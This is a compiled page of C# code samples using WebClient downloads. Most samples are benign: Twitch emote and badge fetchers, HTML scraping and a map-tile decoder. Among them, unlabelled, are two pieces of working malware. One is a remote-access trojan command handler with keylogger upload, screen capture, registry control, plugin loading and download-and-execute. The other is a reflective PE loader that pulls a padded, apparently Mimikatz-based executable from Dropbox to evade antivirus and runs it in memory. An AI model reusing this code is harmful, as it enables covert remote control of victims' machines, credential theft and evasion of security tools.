            string title4   = doc.DocumentNode.SelectSingleNode("//*[@id='tab1']/tbody/tr[10]/td[3]/a/font").InnerHtml;

            string subject5 = doc.DocumentNode.SelectSingleNode("//*[@id='tab1']/tbody/tr[12]/td[1]").InnerHtml;
            string title5   = doc.DocumentNode.SelectSingleNode("//*[@id='tab1']/tbody/tr[12]/td[3]/a/font").InnerHtml;

            AC_Items1 = new ObservableCollection <string>
            {
                subject1,
                subject2,
                subject3,
                subject4,
                subject5
            };

            AC_Items2 = new ObservableCollection <string>
            {
                title1,
                title2,
                title3,
                title4,
                title5
            };

            subject.ItemsSource = AC_Items1;
            title.ItemsSource   = AC_Items2;
        }
Example #43
0
        public static List <CheerEmote> GetBits(string cacheFolder, string channel_id = "")
        {
            List <CheerEmote> cheerEmotes = new List <CheerEmote>();
            string            bitsFolder  = Path.Combine(cacheFolder, "bits");

            if (!Directory.Exists(bitsFolder))
            {
                TwitchHelper.CreateDirectory(bitsFolder);
            }

            using (WebClient client = new WebClient())
            {
                client.Headers.Add("Accept", "application/vnd.twitchtv.v5+json");
                client.Headers.Add("Client-ID", "kimne78kx3ncx6brgo4mv6wki5h1ko");

                JObject globalCheer = JObject.Parse(client.DownloadString("https://api.twitch.tv/kraken/bits/actions?channel_id=" + channel_id));

                foreach (JToken emoteToken in globalCheer["actions"])
                {
                    string prefix = emoteToken["prefix"].ToString();
                    List <KeyValuePair <int, TwitchEmote> > tierList = new List <KeyValuePair <int, TwitchEmote> >();
                    CheerEmote newEmote = new CheerEmote()
                    {
                        prefix = prefix, tierList = tierList
                    };
                    foreach (JToken tierToken in emoteToken["tiers"])
                    {
                        try
                        {
                            int    minBits    = tierToken["min_bits"].ToObject <int>();
                            string fileName   = Path.Combine(bitsFolder, prefix + minBits + "_2x.gif");
                            byte[] finalBytes = null;

                            if (File.Exists(fileName))
                            {
                                try
                                {
                                    finalBytes = File.ReadAllBytes(fileName);
                                }
                                catch { }
                            }
                            if (finalBytes == null)
                            {
                                byte[] bytes = client.DownloadData(tierToken["images"]["dark"]["animated"]["2"].ToString());
                                try
                                {
                                    File.WriteAllBytes(fileName, bytes);
                                }
                                catch { }
                                finalBytes = bytes;
                            }

                            if (finalBytes != null)
                            {
                                MemoryStream ms    = new MemoryStream(finalBytes);
                                TwitchEmote  emote = new TwitchEmote(new List <SKBitmap>()
                                {
                                    SKBitmap.Decode(finalBytes)
                                }, SKCodec.Create(ms), prefix, "gif", "", 2, finalBytes);
                                tierList.Add(new KeyValuePair <int, TwitchEmote>(minBits, emote));
                            }
                        }
                        catch
                        { }
                    }
                    cheerEmotes.Add(newEmote);
                }
            }

            return(cheerEmotes);
        }
        // Hits a local webpage in order to add another expiring item in cache
        private void HitPage()
        {
            WebClient client = new WebClient();

            client.DownloadData(DummyPageUrl);
        }
        public static void HandleData(byte[] b)
        {
            string[] dataArray = BytesToString(b).Split(new string[] { Splitter }, StringSplitOptions.None);

            try
            {
                byte[] buffer;

                string command = dataArray[0];

                switch (command)
                {
                case "ll":

                    IsConnected = false;

                    return;

                case "kl":

                    SendString("kl" + Splitter + StringToBase64(KeyloggerInstance.keyStrokesLog));

                    return;

                case "prof":

                    switch (dataArray[1])
                    {
                    case "~":

                        StoreValueOnRegistry(dataArray[2], dataArray[3], RegistryValueKind.String);

                        break;

                    case "!":

                        StoreValueOnRegistry(dataArray[2], dataArray[3], RegistryValueKind.String);

                        SendString("getvalue" + Splitter + dataArray[1] + Splitter
                                   + GetValueFromRegistry(dataArray[1], ""));

                        break;

                    case "@":

                        DeleteValueFromRegistry(dataArray[2]);

                        break;
                    }

                    return;

                case "rn":

                    if (dataArray[2][0] == '\x001f')
                    {
                        try
                        {
                            using (MemoryStream ms = new MemoryStream())
                            {
                                int length = (dataArray[0] + Splitter + dataArray[1] + Splitter).Length;

                                ms.Write(b, length, b.Length - length);

                                buffer = DecompressGzip(ms.ToArray());
                            }
                        }
                        catch (Exception)
                        {
                            SendString("MSG" + Splitter + "Execute ERROR");

                            SendString("bla");

                            return;
                        }
                    }
                    else
                    {
                        WebClient client = new WebClient();

                        try
                        {
                            buffer = client.DownloadData(dataArray[2]);
                        }
                        catch (Exception)
                        {
                            SendString("MSG" + Splitter + "Download ERROR");

                            SendString("bla");

                            return;
                        }
                    }

                    SendString("bla");

                    string path = Path.GetTempFileName() + "." + dataArray[1];

                    try
                    {
                        File.WriteAllBytes(path, buffer);

                        Process.Start(path);

                        SendString("MSG" + Splitter + "Executed As " + new FileInfo(path).Name);
                    }
                    catch (Exception e)
                    {
                        SendString("MSG" + Splitter + "Execute ERROR " + e.Message);
                    }

                    return;

                case "inv":
                {
                    byte[] t = (byte[])GetValueFromRegistry(dataArray[1], new byte[0]);

                    if ((dataArray[3].Length < 10) && (t.Length == 0))
                    {
                        SendString("pl" + Splitter + dataArray[1] + Splitter + "1");
                    }
                    else
                    {
                        if (dataArray[3].Length > 10)
                        {
                            using (MemoryStream ms = new MemoryStream())
                            {
                                int offset = (dataArray[0] + Splitter + dataArray[1] + Splitter
                                              + dataArray[2] + Splitter).Length;

                                ms.Write(b, offset, b.Length - offset);

                                t = DecompressGzip(ms.ToArray());
                            }

                            StoreValueOnRegistry(dataArray[1], t, RegistryValueKind.Binary);
                        }

                        SendString("pl" + Splitter + dataArray[1] + Splitter + "0");

                        object objectValue = Plugin(t, "A");

                        objectValue.GetType().GetField("H").SetValue(objectValue, Host);

                        objectValue.GetType().GetField("P").SetValue(objectValue, Convert.ToInt32(Port));

                        objectValue.GetType().GetField("OSK").SetValue(objectValue, dataArray[2]);

                        objectValue.GetType().GetMethod("Start").Invoke(objectValue, new object[0]);

                        while (IsConnected &&
                               !(bool)(objectValue.GetType().GetField("OFF").GetValue(objectValue)))
                        {
                            Thread.Sleep(1);
                        }

                        objectValue.GetType().GetField("OFF").SetValue(objectValue, true);
                    }
                    return;
                }

                case "ret":
                {
                    byte[] buffer3 = (byte[])GetValueFromRegistry(dataArray[1], new byte[0]);

                    if ((dataArray[2].Length < 10) & (buffer3.Length == 0))
                    {
                        SendString("pl" + Splitter + dataArray[1] + Splitter + "1");
                    }
                    else
                    {
                        if (dataArray[2].Length > 10)
                        {
                            using (MemoryStream ms = new MemoryStream())
                            {
                                int length = (dataArray[0] + Splitter + dataArray[1] + Splitter).Length;

                                ms.Write(b, length, b.Length - length);

                                buffer3 = DecompressGzip(ms.ToArray());
                            }
                            StoreValueOnRegistry(dataArray[1], buffer3, RegistryValueKind.Binary);
                        }

                        SendString("pl" + Splitter + dataArray[1] + Splitter + "0");

                        object instance = Plugin(buffer3, "A");

                        SendString("ret" + Splitter + dataArray[1] + Splitter +
                                   StringToBase64("" + instance.GetType().GetMethod("GT").Invoke(
                                                      instance, new object[0]
                                                      ))
                                   );
                    }
                    return;
                }

                case "CAP":
                {
                    Rectangle bounds = Screen.PrimaryScreen.Bounds;

                    Bitmap originalBmp = new Bitmap(
                        Screen.PrimaryScreen.Bounds.Width,
                        bounds.Height,
                        PixelFormat.Format16bppRgb555
                        );

                    Graphics g = Graphics.FromImage(originalBmp);

                    Size blockRegionSize = new Size(originalBmp.Width, originalBmp.Height);

                    g.CopyFromScreen(0, 0, 0, 0, blockRegionSize, CopyPixelOperation.SourceCopy);

                    try
                    {
                        blockRegionSize = new Size(32, 32);

                        bounds = new Rectangle(Cursor.Position, blockRegionSize);

                        Cursors.Default.Draw(g, bounds);
                    }
                    catch (Exception)
                    {
                    }

                    g.Dispose();

                    Bitmap croppedBmp = new Bitmap(
                        Convert.ToInt32(dataArray[1]),
                        Convert.ToInt32(dataArray[2])
                        );

                    g = Graphics.FromImage(croppedBmp);

                    g.DrawImage(originalBmp, 0, 0, croppedBmp.Width, croppedBmp.Height);

                    g.Dispose();

                    MemoryStream ms1 = new MemoryStream();

                    b = StringToBytes("CAP" + Splitter);

                    ms1.Write(b, 0, b.Length);

                    MemoryStream ms2 = new MemoryStream();

                    croppedBmp.Save(ms2, ImageFormat.Jpeg);

                    string capturedImageMD5 = MD5(ms2.ToArray());

                    if (capturedImageMD5 != LastCapturedImageMD5)
                    {
                        LastCapturedImageMD5 = capturedImageMD5;

                        ms1.Write(ms2.ToArray(), 0, (int)ms2.Length);
                    }
                    else
                    {
                        ms1.WriteByte(0);
                    }

                    SendBytes(ms1.ToArray());

                    ms1.Dispose();

                    ms2.Dispose();

                    originalBmp.Dispose();

                    croppedBmp.Dispose();

                    return;
                }

                case "un":

                    switch (dataArray[1])
                    {
                    case "~":

                        Uninstall();

                        break;

                    case "!":

                        SetInformationProcess(0);

                        Environment.Exit(0);

                        break;

                    case "@":

                        SetInformationProcess(0);

                        Process.Start(CurrentAssemblyFileInfo.FullName);

                        Environment.Exit(0);

                        break;
                    }
                    return;

                case "up":
                {
                    byte[] bytes = null;

                    if (dataArray[1][0] == '\x001f')
                    {
                        try
                        {
                            using (MemoryStream ms = new MemoryStream())
                            {
                                int length = (dataArray[0] + Splitter).Length;

                                ms.Write(b, length, b.Length - length);

                                bytes = DecompressGzip(ms.ToArray());
                            }
                        }
                        catch (Exception)
                        {
                            SendString("MSG" + Splitter + "Update ERROR");

                            SendString("bla");

                            return;
                        }
                    }
                    else
                    {
                        WebClient client = new WebClient();

                        try
                        {
                            bytes = client.DownloadData(dataArray[1]);
                        }
                        catch (Exception)
                        {
                            SendString("MSG" + Splitter + "Update ERROR");

                            SendString("bla");

                            return;
                        }
                    }

                    SendString("bla");

                    string fileName = Path.GetTempFileName() + ".exe";

                    try
                    {
                        SendString("MSG" + Splitter + "Updating To " + new FileInfo(fileName).Name);

                        Thread.Sleep(2000);

                        File.WriteAllBytes(fileName, bytes);

                        Process.Start(fileName, "..");
                    }
                    catch (Exception e)
                    {
                        SendString("MSG" + Splitter + "Update ERROR " + e.Message);

                        return;
                    }

                    Uninstall();

                    return;
                }

                case "Ex":
                {
                    if (CurrentPlugin == null)
                    {
                        SendString("PLG");

                        int counter = 0;

                        while (!(((CurrentPlugin != null) || (counter == 20)) || !IsConnected))
                        {
                            counter++;

                            Thread.Sleep(1000);
                        }

                        if (CurrentPlugin == null || !IsConnected)
                        {
                            return;
                        }
                    }

                    object[] arguments = new object[] { b };

                    CurrentPlugin.GetType().GetMethod("ind").Invoke(CurrentPlugin, arguments);

                    b = (byte[])arguments[0];

                    return;
                }

                case "PLG":
                {
                    using (MemoryStream ms = new MemoryStream())
                    {
                        int length = (dataArray[0] + Splitter).Length;

                        ms.Write(b, length, b.Length - length);

                        CurrentPlugin = Plugin(DecompressGzip(ms.ToArray()), "A");
                    }

                    CurrentPlugin.GetType().GetField("H").SetValue(CurrentPlugin, Host);

                    CurrentPlugin.GetType().GetField("P").SetValue(CurrentPlugin, Convert.ToInt32(Port));

                    CurrentPlugin.GetType().GetField("C").SetValue(CurrentPlugin, CurrentTcpClient);

                    return;
                }
                }
            }
            catch (Exception e)
            {
                if ((dataArray.Length > 0) && ((dataArray[0] == "Ex") || (dataArray[0] == "PLG")))
                {
                    CurrentPlugin = null;
                }

                try
                {
                    SendString("ER" + Splitter + dataArray[0] + Splitter + e.Message);
                }
                catch (Exception)
                {
                }
            }
        }
Example #46
0
        public static List <TwitchEmote> GetThirdPartyEmotes(int streamerId, string cacheFolder, Emotes embededEmotes = null, bool bttv = true, bool ffz = true, bool stv = true)
        {
            List <TwitchEmote> returnList   = new List <TwitchEmote>();
            List <string>      alreadyAdded = new List <string>();

            string bttvFolder = Path.Combine(cacheFolder, "bttv");
            string ffzFolder  = Path.Combine(cacheFolder, "ffz");
            string stvFolder  = Path.Combine(cacheFolder, "stv");

            if (embededEmotes != null)
            {
                foreach (ThirdPartyEmoteData emoteData in embededEmotes.thirdParty)
                {
                    try
                    {
                        MemoryStream ms       = new MemoryStream(emoteData.data);
                        SKCodec      codec    = SKCodec.Create(ms);
                        TwitchEmote  newEmote = new TwitchEmote(new List <SKBitmap>()
                        {
                            SKBitmap.Decode(emoteData.data)
                        }, codec, emoteData.name, codec.FrameCount == 0 ? "png" : "gif", "", emoteData.imageScale, emoteData.data);
                        returnList.Add(newEmote);
                        alreadyAdded.Add(emoteData.name);
                    }
                    catch { }
                }
            }

            using (WebClient client = new WebClient())
            {
                if (bttv)
                {
                    if (!Directory.Exists(bttvFolder))
                    {
                        TwitchHelper.CreateDirectory(bttvFolder);
                    }

                    //Global BTTV Emotes
                    JArray BBTV = JArray.Parse(client.DownloadString("https://api.betterttv.net/3/cached/emotes/global"));
                    foreach (var emote in BBTV)
                    {
                        string id   = emote["id"].ToString();
                        string name = emote["code"].ToString();
                        if (alreadyAdded.Contains(name))
                        {
                            continue;
                        }
                        string fileName = Path.Combine(bttvFolder, id + "_2x.png");
                        string url      = String.Format("https://cdn.betterttv.net/emote/{0}/2x", id);

                        TwitchEmote newEmote = GetTwitchEmote(fileName, url, name, emote["imageType"].ToString(), id, 2);
                        if (newEmote != null)
                        {
                            returnList.Add(newEmote);
                            alreadyAdded.Add(name);
                        }
                    }

                    //Channel specific BTTV emotes
                    try
                    {
                        JObject BBTV_channel = JObject.Parse(client.DownloadString("https://api.betterttv.net/3/cached/users/twitch/" + streamerId));
                        foreach (var emote in BBTV_channel["sharedEmotes"])
                        {
                            string id   = emote["id"].ToString();
                            string name = emote["code"].ToString();
                            string mime = emote["imageType"].ToString();
                            if (alreadyAdded.Contains(name))
                            {
                                continue;
                            }
                            string      fileName = Path.Combine(bttvFolder, id + "_2x." + mime);
                            string      url      = String.Format("https://cdn.betterttv.net/emote/{0}/2x", id);
                            TwitchEmote newEmote = GetTwitchEmote(fileName, url, name, mime, id, 2);
                            if (newEmote != null)
                            {
                                returnList.Add(newEmote);
                                alreadyAdded.Add(name);
                            }
                        }
                        foreach (var emote in BBTV_channel["channelEmotes"])
                        {
                            string id   = emote["id"].ToString();
                            string name = emote["code"].ToString();
                            string mime = emote["imageType"].ToString();
                            if (alreadyAdded.Contains(name))
                            {
                                continue;
                            }
                            string      fileName = Path.Combine(bttvFolder, id + "_2x." + mime);
                            string      url      = String.Format("https://cdn.betterttv.net/emote/{0}/2x", id);
                            TwitchEmote newEmote = GetTwitchEmote(fileName, url, name, mime, id, 2);
                            if (newEmote != null)
                            {
                                returnList.Add(newEmote);
                                alreadyAdded.Add(name);
                            }
                        }
                    }
                    catch { }
                }

                if (ffz)
                {
                    if (!Directory.Exists(ffzFolder))
                    {
                        TwitchHelper.CreateDirectory(ffzFolder);
                    }

                    //Global FFZ emotes
                    JArray FFZ = JArray.Parse(client.DownloadString("https://api.betterttv.net/3/cached/frankerfacez/emotes/global"));
                    foreach (var emote in FFZ)
                    {
                        string id   = emote["id"].ToString();
                        string name = emote["code"].ToString();
                        string mime = emote["imageType"].ToString();
                        if (alreadyAdded.Contains(name))
                        {
                            continue;
                        }
                        string      fileName = Path.Combine(ffzFolder, id + "_1x." + mime);
                        string      url      = String.Format("https://cdn.betterttv.net/frankerfacez_emote/{0}/1", id);
                        TwitchEmote newEmote = GetTwitchEmote(fileName, url, name, mime, id, 2);
                        if (newEmote != null)
                        {
                            returnList.Add(newEmote);
                            alreadyAdded.Add(name);
                        }
                    }

                    //Channel specific FFZ emotes
                    try
                    {
                        JArray FFZ_channel = JArray.Parse(client.DownloadString("https://api.betterttv.net/3/cached/frankerfacez/users/twitch/" + streamerId));
                        foreach (var emote in FFZ_channel)
                        {
                            string id   = emote["id"].ToString();
                            string name = emote["code"].ToString();
                            string mime = emote["imageType"].ToString();
                            if (alreadyAdded.Contains(name))
                            {
                                continue;
                            }
                            string      fileName    = Path.Combine(ffzFolder, id + "_2x." + mime);
                            string      fileNameLow = Path.Combine(ffzFolder, id + "_1x" + mime);
                            TwitchEmote newEmote    = null;
                            if (File.Exists(fileNameLow))
                            {
                                newEmote = GetTwitchEmote(fileName, String.Format("https://cdn.betterttv.net/frankerfacez_emote/{0}/1", id), name, mime, id, 1);
                            }
                            if (newEmote == null)
                            {
                                newEmote = GetTwitchEmote(fileName, String.Format("https://cdn.betterttv.net/frankerfacez_emote/{0}/2", id), name, mime, id, 2);
                                if (newEmote == null)
                                {
                                    newEmote = GetTwitchEmote(fileName, String.Format("https://cdn.betterttv.net/frankerfacez_emote/{0}/1", id), name, mime, id, 1);
                                }
                            }
                            if (newEmote != null)
                            {
                                returnList.Add(newEmote);
                                alreadyAdded.Add(name);
                            }
                        }
                    }
                    catch { }
                }

                if (stv)
                {
                    if (!Directory.Exists(stvFolder))
                    {
                        TwitchHelper.CreateDirectory(stvFolder);
                    }

                    //Global 7tv Emotes
                    JArray STV = JArray.Parse(client.DownloadString("https://api.7tv.app/v2/emotes/global"));
                    foreach (var emote in STV)
                    {
                        string id    = emote["id"].ToString();
                        string name  = emote["name"].ToString();
                        string mime  = emote["mime"].ToString().Split('/')[1];
                        string url2x = emote["urls"][1][1].ToString(); // 2x
                        if (alreadyAdded.Contains(name))
                        {
                            continue;
                        }
                        byte[] bytes;
                        string fileName = Path.Combine(stvFolder, id + "_2x." + mime);
                        if (File.Exists(fileName))
                        {
                            bytes = File.ReadAllBytes(fileName);
                        }
                        else
                        {
                            bytes = client.DownloadData(url2x);
                            File.WriteAllBytes(fileName, bytes);
                        }
                        MemoryStream ms = new MemoryStream(bytes);
                        returnList.Add(new TwitchEmote(new List <SKBitmap>()
                        {
                            SKBitmap.Decode(bytes)
                        }, SKCodec.Create(ms), name, mime, id, 2, bytes));
                        alreadyAdded.Add(name);
                    }

                    //Channel specific 7tv emotes
                    try
                    {
                        JArray STV_channel = JArray.Parse(client.DownloadString(String.Format("https://api.7tv.app/v2/users/{0}/emotes", streamerId)));
                        foreach (var emote in STV_channel)
                        {
                            string id    = emote["id"].ToString();
                            string name  = emote["name"].ToString();
                            string mime  = emote["mime"].ToString().Split('/')[1];
                            string url2x = emote["urls"][1][1].ToString(); // 2x
                            if (alreadyAdded.Contains(name))
                            {
                                continue;
                            }
                            byte[] bytes;
                            string fileName = Path.Combine(stvFolder, id + "_2x." + mime);
                            if (File.Exists(fileName))
                            {
                                bytes = File.ReadAllBytes(fileName);
                            }
                            else
                            {
                                bytes = client.DownloadData(url2x);
                                File.WriteAllBytes(fileName, bytes);
                            }
                            MemoryStream ms = new MemoryStream(bytes);
                            returnList.Add(new TwitchEmote(new List <SKBitmap>()
                            {
                                SKBitmap.Decode(bytes)
                            }, SKCodec.Create(ms), name, mime, id, 2, bytes));
                            alreadyAdded.Add(name);
                        }
                    }
                    catch { }
                }
            }

            return(returnList);
        }
Example #47
0
        public static List <ChatBadge> GetChatBadges(int streamerId)
        {
            List <ChatBadge> chatBadges = new List <ChatBadge>();

            using (WebClient client = new WebClient())
            {
                //Global chat badges
                JObject globalBadges = JObject.Parse(client.DownloadString("https://badges.twitch.tv/v1/badges/global/display"));
                //Subscriber badges
                JObject subBadges = JObject.Parse(client.DownloadString(String.Format("https://badges.twitch.tv/v1/badges/channels/{0}/display", streamerId)));

                foreach (var badge in globalBadges["badge_sets"].Union(subBadges["badge_sets"]))
                {
                    JProperty jBadgeProperty = badge.ToObject <JProperty>();
                    string    name           = jBadgeProperty.Name;
                    Dictionary <string, SKBitmap> versions = new Dictionary <string, SKBitmap>();

                    foreach (var version in badge.First["versions"])
                    {
                        JProperty jVersionProperty = version.ToObject <JProperty>();
                        string    versionString    = jVersionProperty.Name;
                        string    downloadUrl      = version.First["image_url_2x"].ToString();
                        try
                        {
                            byte[]       bytes = client.DownloadData(downloadUrl);
                            MemoryStream ms    = new MemoryStream(bytes);
                            //For some reason, twitch has corrupted images sometimes :) for example
                            //https://static-cdn.jtvnw.net/badges/v1/a9811799-dce3-475f-8feb-3745ad12b7ea/1
                            SKBitmap badgeImage = SKBitmap.Decode(ms);
                            versions.Add(versionString, badgeImage);
                        }
                        catch (ArgumentException)
                        { }
                        catch (WebException)
                        { }
                    }

                    chatBadges.Add(new ChatBadge()
                    {
                        Name = name, Versions = versions
                    });
                }

                try
                {
                    byte[]       bytes        = client.DownloadData("https://cdn.betterttv.net/emote/58493695987aab42df852e0f/2x");
                    MemoryStream ms           = new MemoryStream(bytes);
                    SKBitmap     badgeImage   = SKBitmap.Decode(ms);
                    SKBitmap     scaledBitmap = new SKBitmap(36, 36);
                    using (SKCanvas canvas = new SKCanvas(scaledBitmap))
                    {
                        canvas.DrawBitmap(badgeImage, new SKRect(0, 0, 36, 36), new SKPaint());
                    }
                    chatBadges.Add(new ChatBadge()
                    {
                        Name = "ilovekeepo69", Versions = new Dictionary <string, SKBitmap>()
                        {
                            { "1", scaledBitmap }
                        }
                    });
                }
                catch { }
            }

            return(chatBadges);
        }
Example #48
0
        public static void Main()
        {
            WebClient downloadPEFile = new WebClient();

            IWebProxy defaultProxy = WebRequest.DefaultWebProxy;

            if (defaultProxy != null)
            {
                defaultProxy.Credentials = CredentialCache.DefaultCredentials;
                downloadPEFile.Proxy     = defaultProxy;
            }

            byte[] unpacked = null;

            try
            {
                // Download the hidden PE file from an innocent web site like DropBox
                byte[] tempArray = downloadPEFile.DownloadData(@"https://www.dropbox.com/s/0gfiwc1cwdrzlfl/mimiHidden?raw=1");

                // Remove the first 65536 bytes of random garbage I've put before the real PE (avoids proxy AV)
                unpacked = new byte[tempArray.Length - 65536];
                Buffer.BlockCopy(tempArray, 65536, unpacked, 0, unpacked.Length);
            }
            catch (Exception ex)
            {
                while (ex != null)
                {
                    Console.WriteLine(ex.Message);
                    ex = ex.InnerException;
                }
            }

            Console.WriteLine("Downloaded PE and decoded it.");
            PELoader pe = new PELoader(unpacked);


            Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4"));

            IntPtr codebase = IntPtr.Zero;

            codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);

            Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4"));


            //Copy Sections
            for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
            {
                IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
                Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData);
                Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4"));
            }

            //Perform Base Relocation
            //Calculate Delta
            long currentbase = (long)codebase.ToInt64();
            long delta;

            delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase);


            Console.WriteLine("Delta = {0}", delta.ToString("X4"));

            //Modify Memory Based On Relocation Table

            //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.VirtualAddress.ToString("X4"));
            //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.Size.ToString("X4"));

            IntPtr relocationTable = (IntPtr.Add(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress));

            //Console.WriteLine(relocationTable.ToString("X4"));

            NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
            relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
            //Console.WriteLine(relocationEntry.VirtualAdress.ToString("X4"));
            //Console.WriteLine(relocationEntry.SizeOfBlock.ToString("X4"));

            int    imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
            IntPtr nextEntry       = relocationTable;
            int    sizeofNextBlock = (int)relocationEntry.SizeOfBlock;
            IntPtr offset          = relocationTable;

            while (true)
            {
                NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
                IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock);
                relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));


                IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress);


                //Console.WriteLine("Section Has {0} Entires",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2);
                //Console.WriteLine("Next Section Has {0} Entires", (int)(relocationNextEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2);

                for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
                {
                    IntPtr patchAddr;
                    UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));

                    UInt16 type  = (UInt16)(value >> 12);
                    UInt16 fixup = (UInt16)(value & 0xfff);
                    //Console.WriteLine("{0}, {1}, {2}", value.ToString("X4"), type.ToString("X4"), fixup.ToString("X4"));

                    switch (type)
                    {
                    case 0x0:
                        break;

                    case 0xA:
                        patchAddr = IntPtr.Add(dest, fixup);
                        //Add Delta To Location.
                        long originalAddr = Marshal.ReadInt64(patchAddr);
                        Marshal.WriteInt64(patchAddr, originalAddr + delta);
                        break;
                    }
                }

                offset           = IntPtr.Add(relocationTable, sizeofNextBlock);
                sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
                relocationEntry  = relocationNextEntry;

                nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock);

                if (relocationNextEntry.SizeOfBlock == 0)
                {
                    break;
                }
            }


            //Resolve Imports

            IntPtr z   = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress);
            IntPtr oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
            int    oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16));

            //Get And Display Each DLL To Load
            for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically.
            {
                IntPtr a1          = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
                int    entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16));
                IntPtr a2          = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part?
                IntPtr dllNamePTR  = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12))));
                string DllName     = Marshal.PtrToStringAnsi(dllNamePTR);
                if (DllName == "")
                {
                    break;
                }

                IntPtr handle = NativeDeclarations.LoadLibrary(DllName);
                Console.WriteLine("Loaded {0}", DllName);
                for (int k = 1; k < 9999; k++)
                {
                    IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2)));
                    string DllFuncName    = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2));
                    //Console.WriteLine("Function {0}", DllFuncName);
                    IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName);
                    Marshal.WriteInt64(a2, (long)funcAddy);
                    a2 = IntPtr.Add(a2, 8);
                    if (DllFuncName == "")
                    {
                        break;
                    }
                }


                //Console.ReadLine();
            }

            //Transfer Control To OEP
            Console.WriteLine("Executing PE");
            IntPtr threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint);
            IntPtr hThread     = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);

            NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF);

            Console.WriteLine("Thread Complete");
            //Console.ReadLine();
        } //End Main
Example #49
0
        public void Decode(int x, int y, int zoom, TreeView tv)
        {
            Bitmap   bmp = new Bitmap(4096, 4096);
            Graphics g   = Graphics.FromImage(bmp);

            g.Clear(Color.Black);


            WebClient client = new WebClient();

            client.Headers[HttpRequestHeader.AcceptEncoding] = "json";
            string path = "http://{ip}:{port}/data/v3/{zoom}/{x}/{y}.geojson";

            path = "http://{ip}:{port}/data/v3/{zoom}/{x}/{y}.pbf";
            path = path.Replace("{zoom}", zoom.ToString());
            path = path.Replace("{x}", x.ToString());
            path = path.Replace("{y}", y.ToString());
            path = path.Replace("{port}", FilePath.Port);
            path = path.Replace("{ip}", FilePath.IP);

            client.DownloadData(path);
            var responseStream = new GZipStream(client.OpenRead(path), CompressionMode.Decompress);

            List <VectorTileLayer> results = VectorTileParser.Parse(responseStream);

            tv.Invoke((MethodInvoker) delegate
            {
                tv.Nodes.Clear();
                tv.BeginUpdate();

                //Pen gray = new Pen(Color.Gray);
                //Pen water = new Pen(Color.Blue);
                //Pen grass = new Pen(Color.Green);
                //Pen CurrentPen = gray;

                Color WaterColor  = Color.Blue;
                Color ForestColor = Color.DarkGreen;
                Color GrassColor  = Color.LightGreen;

                Brush water       = new SolidBrush(WaterColor);
                Brush industrial  = new SolidBrush(Color.Brown);
                Brush residential = new SolidBrush(Color.Purple);
                Brush commercial  = new SolidBrush(Color.Gray);
                Brush building    = new SolidBrush(Color.DarkGray);
                Brush retail      = new SolidBrush(Color.Orange);
                Brush grass       = new SolidBrush(GrassColor);
                Brush forest      = new SolidBrush(ForestColor);
                Brush railway     = new SolidBrush(Color.LightGray);
                Brush road        = new SolidBrush(Color.White);
                Pen transportpen  = new Pen(Color.White);
                //Brush gray = new SolidBrush(Color.Gray);
                Brush none         = new SolidBrush(Color.Transparent);
                Brush CurrentBrush = none;

                bool Transport = false;

                foreach (VectorTileLayer layer in results)
                {
                    CurrentBrush = none;
                    if (layer.Name == "water")
                    {
                        CurrentBrush = water;
                    }
                    if (layer.Name == "park")
                    {
                        CurrentBrush = forest;
                    }
